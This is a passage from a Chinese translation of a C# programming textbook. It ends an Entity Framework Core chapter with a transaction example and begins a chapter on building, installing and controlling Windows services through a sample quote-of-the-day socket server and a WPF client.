方法。在示例代码中,当达到DbContext作用域的末尾时,Commit完成,在发生异常的情 况下回滚(代码文件TransactionsSample / Program.cs): private static async Task TwoSaveChangesWithOneTxAsync() { WriteLine(nameof(TwoSaveChangesWithOneTxAsync)); IDbContextTransaction tx = null; try { using (var context = new MenusContext()) using (tx = await context.Database.BeginTransactionAsync()) { var card = context.MenuCards.First(); var m1 = new Menu { MenuCardId = card.MenuCardId, Text = "added with explicit tx", Price = 99.99m }; context.Menus.Add(m1); int records = await context.SaveChangesAsync(); WriteLine($"{records} records added"); int hightestCardId = await context.MenuCards.MaxAsync(c => c.MenuCardId); var mInvalid = new Menu { MenuCardId = ++hightestCardId, Text = "invalid", Price = 999.99m }; context.Menus.Add(mInvalid); records = await context.SaveChangesAsync(); WriteLine($"{records} records added"); tx.Commit(); } } catch (DbUpdateException ex) { WriteLine($"{ex.Message}"); WriteLine($"{ex? .InnerException.Message}"); WriteLine("rolling back..."); tx.Rollback(); } WriteLine(); } 当运行应用程序时可以看到,没有添加记录,但多次调用了SaveChangesAsync方法。 SaveChangesAsync的第一次返回列出了要添加的一个记录,但基于后面的Rollback,删除 了这个记录。根据隔离级别的设置,回滚完成之前,更新的记录只能在事务内可见,但在 事务外部不可见。 TwoSaveChangesWithOneTxAsync 1 records added An error occurred while updating the entries. See the inner exception for det ails. The INSERT statement conflicted with the FOREIGN KEY constraint "FK_Menu_MenuCard_MenuCardId". The conflict occurred in database "MenuCards", table "mc.MenuCards", column ' MenuCardId'. rolling back...  注意: 使用BeginTransactionAsync方法,也可以给隔离级别提供一个值,指 定数据库中所需的隔离要求和锁。隔离级别参见第37章。 38.8 小结 本章介绍了Entity Framework Core的特性,学习了对象上下文如何了解检索和更新的 实体,以及变更如何写入数据库。还讨论了迁移如何在C#代码中用于创建和更改数据库 模式。至于模式的定义,本章论述了如何使用数据注释进行数据库映射,流利的API提供 了比注释更多的功能。 本章阐述了多个用户处理同一记录时应对冲突的可能性,以及隐式或显式地使用事 务,进行更多的事务控制。 下一章介绍如何使用Windows服务创建与系统一起自动启动的程序。可以在Windows 服务中使用Entity Framework。 第39章 Windows服务 本章要点 ● Windows服务的体系结构 ● 创建Windows服务程序 ● Windows服务的安装程序 ● Windows服务的控制程序 ● Windows服务的故障排除 本章源代码下载地址(wrox.com): 打开网页http://www.wrox.com/go/professionalcsharp6,单击Download Code选项卡即可 下载本章源代码。本章代码分为以下几个主要的示例文件: ● Quote服务器 ● Quote客户端 ● Quote服务 ● 服务控制 39.1 Windows服务 Windows服务是可以在系统启动时自动打开(不需要任何人登录计算机)的程序。如 果需要在没有用户交互操作的情况下运行程序,或者在权限比交互式用户更大的用户下运 行程序,就可以创建Windows服务。Windows服务的例子有WCF宿主(假定由于某些原因 不能使用IIS)、缓存网络服务器中数据的程序,或者在后台重新组织本地磁盘数据的程 序。 本章首先讨论Windows服务的体系结构。接着创建一个托管网络服务器的Windows服 务,之后讨论Windows服务的启动、监控、控制和故障排除。 如前所述,Windows服务指的是操作系统启动时可以自动打开的应用程序。Windows 服务可以在没有交互式用户登录系统的情况下运行,在后台进行某些处理。 例如,在Windows Server上,系统网络服务应可以从客户端访问,无须用户登录到服 务器上。在客户端系统上,服务可以从Internet上获取新软件版本,或在本地磁盘上进行 文件清理工作。 可以把Windows服务配置为从已经过特殊配置的用户账户或系统用户账户上运行,该 用户账户的权限比系统管理员的权限更大。  注意: 除非特别说明,否则把Windows服务简称为服务。 下面是一些服务的示例: ● Simple TCP/IP Services是驻留一些小型TCP/IP服务器的服务程序,如echo、daytime 和quote等。 ● World Wide Web Publishing Service是IIS(Internet Information Server, Internet信息服 务器)的服务。 ● Event Log服务用于把消息记录到事件日志系统中。 ● Windows Search服务用于在磁盘上创建数据的索引。 ● Superfetch服务可以把常用的应用程序和库预先加载到内存中,因此缩短了这些应 用程序的启动时间。 可以使用Services管理工具查看系统上的所有服务,如图39-1所示。这个程序可以通 过控制面板上的管理工具找到。 图39-1  注意: 使用.NET Core不能创建Windows服务,这需要.NET Framework。要 控制服务,可以使用.NET Core。 39.2 Windows服务的体系结构 操作Windows服务需要3种程序: ● 服务程序 ● 服务控制程序 ● 服务配置程序 服务程序本身用于提供需要的实际功能。服务控制程序可以把控制请求发送给服务, 如开始、停止、暂停和继续。使用服务配置程序可以安装服务,这意味着不但要把服务复 制到文件系统中,还要把服务的信息写到注册表中,这个注册信息由服务控制管理器 (Service Control Manager, SCM)用于启动和停止服务。尽管.NET组件可通过xcopy安装 ——因为.NET组件不需要把信息写入注册表中,所以可以使用xcopy命令安装它们;但 是,服务的安装需要注册表配置。此外,服务配置程序也可以在以后改变服务的配置。下 面介绍Windows服务的3个组成部分。 39.2.1 服务程序 在讨论服务的.NET实现方式之前,本节首先讨论服务的Windows体系结构和服务的 内部功能。 服务程序实现服务的功能。服务程序需要3个部分: ● 主函数 ● service-main函数 ● 处理程序 在讨论这些部分前,首先需要介绍服务控制管理器(SCM)。对于服务,SCM的作 用非常重要,它可以把启动服务或停止服务的请求发送给服务。 1.服务控制管理器 SCM是操作系统的一个组成部分,它的作用是与服务进行通信。图39-2给出了这种通 信工作方式的序列图。 图39-2 如果将服务设置为自动启动,则在系统启动时,将启动该服务的每个进程,进而调用 该进程的主函数。该服务负责为它的每项服务都注册一个service-main函数。主函数是服 务程序的入口点,在这里,service-main函数的入口点必须用SCM注册。 2.主函数、service-main和处理程序 服务的主函数是程序的一般入口点,即Main()方法,它可以注册多个service-main 函数,service-main函数包含服务的实际功能。服务必须为所提供的每项服务注册一个 service-main函数。服务程序可以在一个程序中提供许多服务,例如, <windows>\system32\services.exe服务程序就包括Alerter、Application Management、 Computer Browser和DHCP Client等服务项。 SCM为每一个应该启动的服务调用service-main函数。service-main函数的一个重要任 务是用SCM注册一个处理程序。 处理程序函数是服务程序的第3部分。处理程序必须响应来自SCM的事件。服务可以 停止、暂停或重新开始,处理程序必须响应这些事件。 使用SCM注册处理程序后,服务控制程序可以把停止、暂停和继续服务的请求发送 给SCM。服务控制程序独立于SCM和服务本身。在操作系统中有许多服务控制程序,例 如以前介绍的MMC Services管理单元(见图39-1)。也可以编写自己的服务控制程序,一 个比较好的服务控制程序是SQL Server Configuration Manager,它运行在MMC中,如图 39-3所示。 图39-3 39.2.2 服务控制程序 顾名思义,使用服务控制程序可以控制服务。为了停止、暂停和继续服务,可以把控 制代码发送给服务,处理程序应该响应这些事件。此外,还可以询问服务的实际状态(假 定服务在运行或挂起,或者在某种错误的状态下),并实现一个响应自定义控制代码的自 定义处理程序。 39.2.3 服务配置程序 不能使用xcopy安装服务,服务必须在注册表中配置。注册表包含了服务的启动类 型,该启动类型可以设置为自动、手动或禁用。必须配置服务程序的用户、服务的依赖关 系(例如,一个服务必须在当前服务开始之前启动)。所有这些配置工作都在服务配置程 序中进行。虽然安装程序可以使用服务配置程序配置服务,但是服务配置程序也可以用于 在以后改变服务配置参数。 39.2.4 Windows服务的类 在.NET Framework中,可以在System.ServiceProcess名称空间中找到实现服务的三部 分的服务类: ● 必须从ServiceBase类继承才能实现服务。ServiceBase类用于注册服务、响应开始和 停止请求。 ● ServiceController类用于实现服务控制程序。使用这个类,可以把请求发送给服务。 ● 顾名思义,ServiceProcessInstaller类和ServiceInstaller类用于安装和配置服务程序。 下面介绍怎样新建服务。 39.3 创建Windows服务程序 本章创建的服务将驻留在引用服务器内。对于客户发出的每一个请求,引用服务器都 返回引用文件的一个随机引用。解决方案的第一部分由3个程序集完成,一个用于客户 端,两个用于服务器,图39-4显示了这个解决方案。程序集QuoteServer包含实际的功能。 服务可以在内存缓存中读取引用,然后在套接字服务器的帮助下响应引用的请求。 QuoteClient是WPF胖客户端应用程序。这个应用程序创建客户端套接字,以便与Quote Server通信。第3个程序集是实际的服务。Quote Service开始和停止QuoteServer,服务将控 制服务器。 图39-4 在创建程序的服务部分之前,在额外的C#类库(在服务进程中使用这个类库)中建 立一个简单的套接字服务器。具体步骤参见下一节。 39.3.1 创建服务的核心功能 可以在Windows服务中建立任何功能,如扫描文件以进行备份或病毒检查,或者启动 WCF服务器。但所有服务程序都有一些类似的地方。这种程序必须能启动(并返回给调 用者)、停止和暂停。下面讨论用套接字服务器实现的程序。 对于Windows 10, Simple TCP/IP Services可以作为Windows组件的一个组成部分安 装。Simple TCP/IP Services的一部分是“quote of the day”或TCP/IP服务器,这个简单的服 务在端口17处侦听,并使用文件<windows>\system32\drivers\etc\quotes中的随机消息响应 每一个请求。使用这个示例服务,我们将在这里构建一个相似的服务器,它返回一个 Unicode字符串,而不是像qotd服务器那样返回ASCII代码。 首先创建一个QuoteServer类库,并实现服务器的代码。下面详细解释QuoteServer.cs 文件中QuoteServer类的源代码(代码文件QuoteServer/QuoteServer.cs): using System; using System.Collections.Generic; using System.Diagnostics; using System.IO; using System.Linq; using System.Net; using System.Net.Sockets; using System.Text; using System.Threading.Tasks; namespace Wrox.ProCSharp.WinServices { public class QuoteServer { private TcpListener _listener; private int _port; private string _filename; private List<string> _quotes; private Random _random; private Task _listenerTask; 重载QuoteServer()构造函数,以便把文件名和端口传递给主调程序。只传递文件 名的构造函数使用服务器的默认端口7890。默认的构造函数把引用的默认文件名定义为 quotes.txt: public QuoteServer() : this ("quotes.txt") { } public QuoteServer(string filename) : this (filename, 7890) { } public QuoteServer(string filename, int port) { if (filename == null) throw new ArgumentNullException(nameof(filename)); if (port < IPEndPoint.MinPort || port > IPEndPoint.MaxPort) throw new ArgumentException("port not valid", nameof(port)); _filename = filename; _port = port; } ReadQuotes()是一个辅助方法,它从构造函数指定的文件中读取所有引用,把所有 引用添加到List<string> quotes中。此外,创建Random类的一个实例,Random类用于返回 随机引用: protected void ReadQuotes() { try { _quotes = File.ReadAllLines(filename).ToList(); if (_quotes.Count == 0) { throw new QuoteException("quotes file is empty"); } _random = new Random(); } catch (IOException ex) { throw new QuoteException("I/O Error", ex); } } 另一个辅助方法是GetRandomQuoteOfTheDay(),它返回引用集合中的一个随机引 用: protected string GetRandomQuoteOfTheDay() { int index = random.Next(0, _quotes.Count); return _quotes[index]; } 在Start()方法中,使用辅助函数ReadQuotes()在List<string>引用中读取包含引用 的完整文件。在启动新的线程之后,它立即调用Listener()方法。这类似于第25章的 TcpReceive示例。 这里使用了任务,因为Start()方法不能停下来等待客户,它必须立即返回给调用者 (即SCM)。如果方法没有及时返回给调用者(30秒), SCM就假定启动失败。侦听任务 是一个长时间运行的后台线程,应用程序就可以在不停止该线程的情况下退出。 public void Start() { ReadQuotes(); _listenerTask = Task.Factory.StartNew(Listener, TaskCreationOptions.LongR unning); } 任务函数Listener()创建一个TcpListener实例。AcceptSocketAsync方法等待客户端 进行连接。客户端一连接,AcceptSocketAsync方法就返回一个与客户端相关联的套接 字。之后使用ClientSocket.Send()方法,调用GetRandomQuoteOfTheDay()方法把返回 的随机引用发送给客户端: protected async Task ListenerAsync() { try { IPAddress ipAddress = IPAddress.Any; _listener = new TcpListener(ipAddress, port); _listener.Start(); while (true) { using (Socket clientSocket = await _listener.AcceptSocketAsync()) { string message = GetRandomQuoteOfTheDay(); var encoder = new UnicodeEncoding(); byte[] buffer = encoder.GetBytes(message); clientSocket.Send(buffer, buffer.Length, 0); } } } catch (SocketException ex) { Trace.TraceError($"QuoteServer {ex.Message}"); throw new QuoteException("socket error", ex); } } 除了Start()方法之外,还需要如下方法来控制服务:Stop()、Suspend()和 Resume()。 public void Stop() => _listener.Stop(); public void Suspend() => _listener.Stop(); public void Resume() => Start(); 另一个公共方法是RefreshQuotes()。如果包含引用的文件发生了变化,就要使用这 个方法重新读取文件: public void RefreshQuotes() => ReadQuotes(); } } 在服务器上建立服务之前,首先应该建立一个测试程序,这个测试程序仅创建 QuoteServer类的一个实例,并调用Start()方法。这样,不需要处理与具体服务相关的问 题,就能够测试服务的功能。测试服务器必须手动启动,使用调试器可以很容易调试代 码。 测试程序是一个C#控制台应用程序TestQuoteServer,我们必须引用QuoteServer类的程 序集。在创建QuoteServer的实例之后,就调用QuoteServer实例的Start()方法。Start() 方法在创建线程之后立即返回,因此在按回车键之前,控制台应用程序一直处于运行状态 (代码文件TestQuoteServer/Program.cs)。 static void Main() { var qs = new QuoteServer("quotes.txt", 4567); qs.Start(); WriteLine("Hit return to exit"); ReadLine(); qs.Stop(); } 注意,QuoteServer示例将运行在使用这个程序的本地主机的4567端口上——后面的 内容需要在客户端中使用这些设置。 39.3.2 QuoteClient示例 客户端是一个简单的WPF Windows应用程序,可以在此请求来自服务器的引用。客 户端应用程序使用TcpClient类连接到正在运行的服务器,然后接收返回的消息,并把它显 示在文本框中。用户界面仅包含一个按钮和一个文本框。单击按钮,就向服务器请求引 用,并显示该引用。 给按钮的Click事件指定OnGetQuote()方法,以向服务器请求引用,并将IsEnable属 性绑定到EnableRequest方法上,在请求激活时禁用按钮。在TextBlack控件中,把Text属性 绑定到Quote属性上,以显示所设置的引用(代码文件 QuoteClientWPF/MainWindow.xaml): <Button Margin="3" VerticalAlignment="Stretch" Grid.Row="0" IsEnabled="{Binding EnableRequest, Mode=OneWay}" Click="OnGetQuote"> Get Quote</Button> <TextBlock Margin="6" Grid.Row="1" TextWrapping="Wrap" Text="{Binding Quote, Mode=OneWay}" /> 类QuoteInformation定义了EnableRequest属性和引用。使用这些属性与数据绑定,在 用户界面中显示这些属性的值。这个类实现了接口INotifyPropertyChanged,以允许WPF接 收属性值的改变(代码文件QuoteClientWPF/QuoteInformation.cs): using System.Collections.Generic; using System.ComponentModel; using System.Runtime.CompilerServices; namespace Wrox.ProCSharp.WinServices { public class QuoteInformation: INotifyPropertyChanged { public QuoteInformation() { EnableRequest = true; } private string _quote; public string Quote { get { return _quote; } internal set { SetProperty(ref _quote, value); } } private bool _enableRequest; public bool EnableRequest { get { return _enableRequest; } internal set { SetProperty(ref _enableRequest, value); } } private void SetProperty<T>(ref T field, T value, [CallerMemberName] string propertyName = null) { if (! EqualityComparer<T>.Default.Equals(field, value)) { field = value; PropertyChanged? .Invoke(this, new PropertyChangedEventArgs(propertyN ame)); } } public event PropertyChangedEventHandler PropertyChanged; } }  注意: 接口INotifyPropertyChanged的实现代码使用了特性CallerMember- NameAttribute,这个特性的解释参见第14章。 把类QuoteInformation的一个实例赋予Windows类MainWindow的DataContext,以便直 接进行数据绑定(代码文件QuoteClientWPF/MainWindow.xaml.cs): using System; using System.Net.Sockets; using System.Text; using System.Windows; using System.Windows.Input; namespace Wrox.ProCSharp.WinServices { public partial class MainWindow: Window { private QuoteInformation _quoteInfo = new QuoteInformation(); public MainWindow() { InitializeComponent(); this.DataContext = _quoteInfo; } 在项目的属性中,可以用Settings选项卡来配置连接到服务器的服务器名称和端口信 息,如图39-5所示。这里定义了ServerName和PortName设置的默认值。把Scope设置为 User,该设置就会保存到用户特定的配置文件中,因此应用程序的每个用户都可以有不同 的设置。Visual Studio的Settings特性也会创建一个Settings类,以便用一个强类型化的类来 读写设置。 图39-5 客户端的主要功能体现在Get Quote按钮的Click事件的处理程序中。 protected async void OnGetQuote(object sender, RoutedEventArgs e) { const int bufferSize = 1024; Cursor currentCursor = this.Cursor; this.Cursor = Cursors.Wait; quoteInfo.EnableRequest = false; string serverName = Properties.Settings.Default.ServerName; int port = Properties.Settings.Default.PortNumber; var client = new TcpClient(); NetworkStream stream = null; try { await client.ConnectAsync(serverName, port); stream = client.GetStream(); byte[] buffer = new byte[bufferSize]; int received = await stream.ReadAsync(buffer, 0, bufferSize); if (received <= 0) { return; } quoteInfo.Quote = Encoding.Unicode.GetString(buffer).Trim('\0'); } catch (SocketException ex) { MessageBox.Show(ex.Message, "Error Quote of the day", MessageBoxButton.OK, MessageBoxImage.Error); } finally { stream? .Close(); if (client.Connected) { client.Close(); } } this.Cursor = currentCursor; quoteInfo.EnableRequest = true; } 在启动测试服务器和这个Windows应用程序的客户端 之后,就可以对功能进行测试。如果运行成功,就可以得 到如图39-6所示的结果。 现在继续在服务器中实现服务功能。程序已经在运 图39-6 行,还需要确保在系统启动时,不需要任何人登录系统, 服务器程序就应该自动地启动。为此,可以创建一个服务程序。 39.3.3 Windows服务程序 使用Add New Project对话框中的C# Windows Service模板,就可以创建一个Windows 服务程序,将该服务命名为QuoteService。 在单击OK按钮开始创建Windows服务程序之后,就会出现设计器界面,但是不能在 其中插入UI组件,因为应用程序不能直接在屏幕上显示任何信息。本章后面将使用设计 器界面添加安装对象、性能计数器和事件日志等其他组件。 选择这个服务的属性,可以打开Properties对话框。在其中可以配置如下值: ● AutoLog指定把启动和停止服务的事件自动写到事件日志中。 ● CanPauseAndContinue、CanShutdown和CanStop可以指定服务的暂停、继续、关闭 和停止请求。 ● ServiceName是写到注册表中的服务的名称,使用这个名称可以控制服务。 ● CanHandleSessionChangeEvent确定服务是否能处理终端服务器会话中的改变事件。 ● CanHandlePowerEvent选项对运行在笔记本电脑或移动设备上的服务有效。如果启 用这个选项,服务就可以响应低电源事件,并相应地改变服务的行为。电源事件 包括电量低、电源状态改变(因为与A/C电源之间的切换)开关和改为断电。  注意: 不管项目的名称是什么,默认的服务名称都是Service1。可以只安装 一个Service1服务。如果在测试过程中出现了安装错误,就有可能已经安装了一个 Service1服务。因此,在服务开发的初始阶段,一定要用Properties对话框把服务的名称 改为比较适当的名称。 使用Properties对话框改变上述属性,在InitalizeComponent()方法中设置ServiceBase 派生类的值。Windows Forms应用程序也使用InitalizeComponent()方法,对于服务,这 个方法的使用方式与Windows Forms应用程序相似。 虽然向导将生成代码,但是应把文件名改为QuoteService.cs,把名称空间的名称改为 Wrox.Pro-CSharp.WinServices,把类名改为QuoteService。后面将详细讨论该服务的代 码。 1. ServiceBase类 ServiceBase类是所有用.NET Framework开发的Windows服务的基类。QuoteService类 派生自ServiceBase类;QuoteService类使用一个未归档的辅助类 System.ServiceProcess.NativeMethods与SCM进行通信, System.ServiceProcess.NativeMethods类是Windows API调用的包装类。NativeMethods是内 部类,因此不能在这里的代码中使用它。 图39-7显示了SCM、QuoteService类和System.ServiceProcess名称空间中的类是怎样相 互作用的。在这个序列图中,垂直方向为对象的生命线,水平方向为通信情况,通信是按 照时间的先后顺序自上而下进行的。 图39-7 SCM启动应该启动的服务的进程。在启动时,调用Main()方法。在示例服务的 Main()方法中,调用ServiceBase基类的Run()方法。Run()方法使用SCM中的 NativeMethods.StartServiceCtrlDispatcher()方法注册ServiceMainCallback()方法,并把 记录写到事件日志中。 接下来,SCM在服务程序中调用已注册的ServiceMainCallback()方法。 ServiceMainCallback()方法本身使用NativeMethods.RegisterServiceCtrlHandler[Ex]()方 法在SCM中注册处理程序,并在SCM中设置服务的状态。之后调用OnStart()方法。在 OnStart()方法中,必须实现启动代码。如果OnStart()方法执行成功,就把字符 串“Service started successfully”写到事件日志中。 处理程序是在ServiceCommandCallback()方法中实现的。当改变对服务的请求时, SCM就调用ServiceCommandCallback()方法。ServiceCommandCallback()方法再把请 求发送给OnPause()、OnContinue()、OnStop()、OnCustomCommand()和 OnPowerEvent()方法。 2.主函数 现在讨论服务进程中由应用程序模板生成的主函数。在主函数中,声明了一个元素为 ServiceBase类的数组ServicesToRun。创建QuoteService类的一个实例,并将其作为 ServicesToRun数组的第一个元素传递。如果在这个服务进程中要运行多个服务,就需要 把具体服务类的多个实例添加到数组中。然后把ServicesToRun数组传递给ServiceBase类 的静态方法Run()。使用ServiceBase类的Run()方法,可以把SCM引用提供给服务的 入口点。服务进程的主线程现在处于阻塞状态,等待服务的结束。 下面是自动生成的代码(代码文件QuoteService/Program.cs): static void Main() { ServiceBase[] servicesToRun = new ServiceBase[] { new QuoteService() }; ServiceBase.Run(servicesToRun); } 如果进程中只有一个服务,就可以删除数组。由于Run()方法接受从ServiceBase类 派生的单个对象,因此Main()方法可以简化为: ServiceBase.Run(new QuoteService()); 服务程序Services.exe包含多个服务。如果有类似的服务,其中有多个服务运行在一 个进程中,且需要初始化多个服务的某些共享状态,则共享的初始化必须在Run()方法 运行之前完成。在运行Run()方法时,主线程处于阻塞状态,直到服务进程停止为止, 以后的指令在服务结束之前不能执行。 初始化花费的时间不应该超过30秒。如果初始化代码所花费的时间过多,SCM就认 为服务启动失败了。初始化时间不应该超过30秒必须是针对速度最慢的计算机而言。如果 初始化的时间过长,就应该在另一个线程中开始初始化,以便主线程及时地调用Run() 方法。然后,事件对象可以用信号通知线程已经完成了它的工作。 3.服务的启动 在服务启动时,调用OnStart()方法。这时,可以启动前面创建的套接字服务器。 为了使用QuoteService类,必须引用QuoteServer程序集。调用OnStart()方法的线程不能 阻塞,OnStart()方法必须返回给调用者(即ServiceBase类的ServiceMainCallback()方 法)。ServiceBase类注册处理程序,并在调用OnStart()方法之后把服务成功启动的消 息通知给SCM(代码文件QuoteService/QuoteService.cs): protected override void OnStart(string[] args) { _quoteServer = new QuoteServer(Path.Combine( AppDomain.CurrentDomain.BaseDirectory, "quotes.txt"), 5678); _quoteServer.Start(); } 把_quoteServer变量声明为类中的私有成员 namespace Wrox.ProCSharp.WinServices { public partial class QuoteService: ServiceBase { private QuoteServer _quoteServer; 4.处理程序方法 当停止服务时,调用OnStop()方法。应该在OnStop()方法中停止服务的功能 (代码文件QuoteService/QuoteService.cs): protected override void OnStop() => _quoteServer.Stop(); 除了OnStart()和OnStop()方法之外,还可以重写服务类中的下列处理程序: ● OnPause()——在暂停服务时调用这个方法。 ● OnContinue()——当服务从暂停状态返回到正常操作时,调用这个方法。为了调 用已重写的OnPause()方法和OnContinue()方法,CanPauseAndContinue属性 必须设置为true。 ● OnShutdown()——当Windows操作系统关闭时,调用这个方法。通常情况下, OnShutdown()方法的行为应该与OnStop()方法的实现代码相似。如果需要更 多的时间关闭服务,则可以申请更多的时间。与OnPause()方法和 OnContinue()方法相似,必须设置一个属性启用这种行为,即CanShutdown属 性必须设置为true。 ● OnPowerEvent()——在系统的电源状态发生变化时,调用这个方法。电源状态发 生变化的信息在PowerBroadcastStatus类型的参数中,PowerBroadcastStatus是一个 枚举类型,其值是Battery Low和PowerStatusChange。在这个方法中,还可以获得 系统是否要挂起(QuerySuspend)的信息,此时可以同意或拒绝挂起。电源事件 详见本章后面的内容。 ● OnCustomCommand()——这个处理程序可以为服务控制程序发送过来的自定义 命令提供服务。OnCustomCommand()的方法签名有一个用于获取自定义命令编 号的int参数,编号的取值范围是128~256,小于128的值是为系统预留的值。在 我们的服务中,使用自定义命令编号为128的命令重新读取引用文件: protected override void OnPause() => _quoteServer.Suspend(); protected override void OnContinue() => _quoteServer.Resume(); public const int CommandRefresh = 128; protected override void OnCustomCommand(int command) { switch (command) { case CommandRefresh: quoteServer.RefreshQuotes(); break; default: break; } } 39.3.4 线程化和服务 如前所述,如果服务的初始化花费的时间过多,则SCM就假定服务启动失败。为了 解决这个问题,必须创建线程。 服务类中的OnStart()方法必须及时返回。如果从TcpListener类中调用一个 AcceptSocket()之类的阻塞方法,就必须启动一个线程来完成调用工作。使用能处理多 个客户端的网络服务器时,线程池也非常有用。AcceptSocket()方法应接收调用,并在 线程池的另一个线程中进行处理,这样就不需要等待代码的执行,系统看起来似乎是立即 响应的。 39.3.5 服务的安装 服务必须在注册表中配置,所有服务都可以在 HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services中找到。使用regedit命令, 可以查看注册表项。在注册表中,可以看到服务的类型、显示名称、可执行文件的路径、 启动配置以及其他信息。图39-8显示了W3SVC服务的注册表配置。 图39-8 使用System.ServiceProcess名称空间中的安装程序类,可以完成服务在注册表中的配 置。下面讨论这些内容。 39.3.6 安装程序 切换到Visual Studio的设计视图,从弹出的上下文菜单中选择Add Installer选项,就可 以给服务添加安装程序。使用Add Installer选项时,新建一个ProjectInstaller类、一个 ServiceInstaller实例和一个ServiceProcessInstaller实例。 图39-9显示了服务的安装程序类。 图39-9 根据图39-9,下面详细讨论由Add Installer选项创建的ProjectInstaller.cs文件中的源代 码。 1.安装程序类 ProjectInstaller类派生自System.Configuration.Install.Installer,后者是所有自定义安装 程序的基类。使用Installer类,可以构建基于事务的安装程序。使用基于事务的安装时, 如果安装失败,系统就可以回滚到以前的状态,安装程序所做的所有修改都会被取消。如 图39-9所示,Installer类中有Install()、Commit()、Rollback()和Uninstall()方 法,这些方法都从安装程序中调用。 如果RunInstaller特性的值为true,则在安装程序集时调用ProjectInstaller类。自定义安 装程序和installutil.exe(这个程序以后将用到)都能检查该特性。 在ProjectInstaller类的构造函数内部调用InitializeComponent()(代码文件 QuoteService/Project-Installer.cs): using System.ComponentModel; using System.Configuration.Install; namespace Wrox.ProCSharp.WinServices { [RunInstaller(true)] public partial class ProjectInstaller: Installer { public ProjectInstaller() { InitializeComponent(); } } } 下面看看项目安装程序调用的其他安装程序。 2. ServiceProcessInstaller类和ServiceInstaller类 在InitializeComponent()方法的实现代码中,创建了ServiceProcessInstaller类和 ServiceInstaller类的实例。这两个类都派生于ComponentInstaller类,ComponentInstaller类 本身派生于Installer类。 ComponentInstaller类的派生类可以用作安装进程的一个部分。注意,一个服务进程可 以包括多个服务。ServiceProcessInstaller类用于配置进程,为这个进程中的所有服务定义 值,而ServiceInstaller类用于服务的配置,因此每个服务都需要ServiceInstaller类的一个实 例。如果进程中有3个服务,则必须添加3个ServiceInstaller对象: partial class ProjectInstaller { private System.ComponentModel.IContainer components = null; private void InitializeComponent() { this.serviceProcessInstaller1 = new System.ServiceProcess.ServiceProcessInstaller(); this.serviceInstaller1 = new System.ServiceProcess.ServiceInstaller(); this.serviceProcessInstaller1.Password = null; this.serviceProcessInstaller1.Username = null; this.serviceInstaller1.ServiceName = "QuoteService"; this.serviceInstaller1.Description = "Sample Service for Professional C#" ; this.serviceInstaller1.StartType = System.ServiceProcess.ServiceStartMode .Manual; this.Installers.AddRange( new System.Configuration.Install.Installer[] {this.serviceProcessInstaller1, this.serviceInstaller1}); } private System.ServiceProcess.ServiceProcessInstaller serviceProcessInstaller1; private System.ServiceProcess.ServiceInstaller serviceInstaller1; } ServiceProcessInstaller类安装一个实现ServiceBase类的可执行文件。 ServiceProcessInstaller类包含用于整个进程的属性。由进程中所有服务共享的属性如表39- 1所示。 表39-1 属性 描述 Username、 Password 如果把Accout属性设置为ServiceAccout.User,则Username属 性和Password属性指出服务在哪一个用户账户下运行 Account 使用这个属性,可以指定服务的账户类型 HelpText HelpText是只读属性,它返回的帮助文本用于设置用户名和 密码 用于运行服务的进程可以用ServiceProcessInstaller类的Accout属性指定,其值可以是 ServiceAccout枚举的任意值。Account属性的不同值如表39-2所示。 表39-2 值 描述 LocalSystem 设置这个值可以指定服务在本地系统上使用权限很高的用户 账户,并用作网络上的计算机 NetworkService 类似于LocalSystem,这个值指定把计算机的证书传递给远 程服务器。但与LocalSystem不同,这种服务可以以非授权 用户的身份登录本地系统。顾名思义,这个账户只能用于需 要从网络上获得资源的服务 LocalService 这个账户类型给任意远程服务器提供计算机的匿名证书,其 本地权限与NetworkService相同 User 把Accout属性设置为ServiceAccout.User,表示可以指定应从 服务中使用的账户 ServiceInstaller是每一个服务都需要的类,这个类的属性可以用于进程中的每一个服 务,其属性有StartType、DisplayName、ServiceName和ServicesDependentOn,如表39-3所 示。 表39-3 属性 描述 StartType StartType属性指出服务是手动启动还是自动启动。它的值可 以是:ServiceStartMode.Automatic、 ServiceStartMode.Manual、ServiceStartMode.Disabled。如果 使用ServiceStartMode.Disabled,服务就不能启动。这个选 项可用于不应在系统中启动的服务。例如,如果没有得到需 要的硬件控制器,就可以把该选项设置为Disabled DelayedAutoStart 如果StartType属性没有设置为Automatic,就忽略这个属 图39-10 性。此时可以指定服务是否应在系统启动时不立即启动,而 是在以后启动 DisplayName DisplayName属性是服务显示给用户的友好名称。这个名称 也由管理工具用于控制和监控服务 ServiceName ServiceName属性是服务的名称。这个值必须与服务程序中 ServiceBase类的ServiceName属性一致。这个名称把 ServiceInstaller类的配置与需要的服务程序关联起来 ServicesDependentOn 指定必须在服务启动之前启动的一组服务。当服务启动时, 所有依赖的服务都自动启动,并且我们的服务也将启动  注意: 如果在ServiceBase的派生类中改变了服务的名称,则还必须修改 ServiceInstaller对象中ServiceName属性的值。  注意: 在测试阶段,最好把StartType属性的值设置为Manual。这样,如果服 务因程序中的bug不能停止,就仍可以重新启动系统。如果把StartType属性的值设置为 Automatic,服务就会在重新启动系统时自动启动!当确信没有问题时,可以在以后改 变这个配置。 3. ServiceInstallerDialog类 System.ServiceProcess.Design名称空间中的另一个安装程序类是 ServiceInstallerDialog。在安装过程中,如果希望系统管理员输入该服务应使用的账户(具 体方法是指定用户名和密码),就可以使用这个类。 如果把ServiceProcessInstaller类的 Account属性设置为ServiceAccount.User, Username和Password属性设置为null,则在安 装时将自动显示如图39-10所示的Set Service Login对话框。此时,也可以取消安装。 4. installutil 在把安装程序类添加到项目中之后,就可以使用installutil.exe实用程序安装和卸载服 务。这个实用程序可以用于安装包含Installer类的所有程序集。installutil.exe实用程序调用 Installer派生类的Installer()方法进行安装,调用UnInstaller()方法进行卸载。 安装和卸载示例服务的命令分别是: installutil quoteservice.exe installutil /u quoteservice.exe  注意: 如果安装失败了,一定要检查安装日志文件InstallUtil.InstallLog和 <servicename>. InstallLog。通常,在安装日志文件中可以发现一些非常有用的信息,例 如:“指定的服务已存在”。 在成功地安装服务后,就可以从Services MMC中手动启动服务,并启动客户端应用 程序。 39.4 Windows服务的监控和控制 可以使用Services MMC管理单元对服务进行监控和控制。Services MMC管理单元是 Computer Management管理工具的一部分。每个Windows操作系统还有一个命令行实用程 序net.exe,使用这个程序可以控制服务。sc.exe是另一个Windows命令行实用程序,它的 功能比net.exe更强大。还可以使用Visual Studio Server Explorer直接控制服务。本节将创建 一个小型的Windows应用程序,它利用System.ServiceProcess.ServiceController类监控和控 制服务。 39.4.1 MMC管理单元 如图39-11所示,使用MMC的Services管理单元可以查看所有服务的状态,也可以把 